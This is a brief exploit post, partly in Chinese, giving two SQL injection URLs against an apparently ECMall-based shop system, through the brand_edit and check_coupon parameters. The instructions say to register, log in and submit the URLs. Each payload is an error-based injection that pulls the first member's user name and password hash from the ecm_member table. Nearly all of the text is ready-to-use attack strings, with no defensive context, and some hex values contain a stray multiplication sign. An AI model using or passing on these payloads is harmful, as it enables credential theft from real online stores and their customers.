Fuck one EXP 注册个会员-登录-提交以下即可

http://site/index.php?app=my_goods&act=brand_edit&id=1 and(select 1 from(select count(*),concat((select (select (select concat(0x7e27, ecm_member.user_name,0×27,0x7e, ecm_member.password,0x7e,0×27) from ecm_member limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

Fuck two : \app\order.app.php (374行)
Fuck two EXP 注册个会员-登录-提交以下即可

http://site/index.php?app=order&act=check_coupon&coupon_sn=1&store_id=1 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0×27, ecm_member.user_name,0×27,0x7e, ecm_member.password,0x7e,0×27) from ecm_member limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)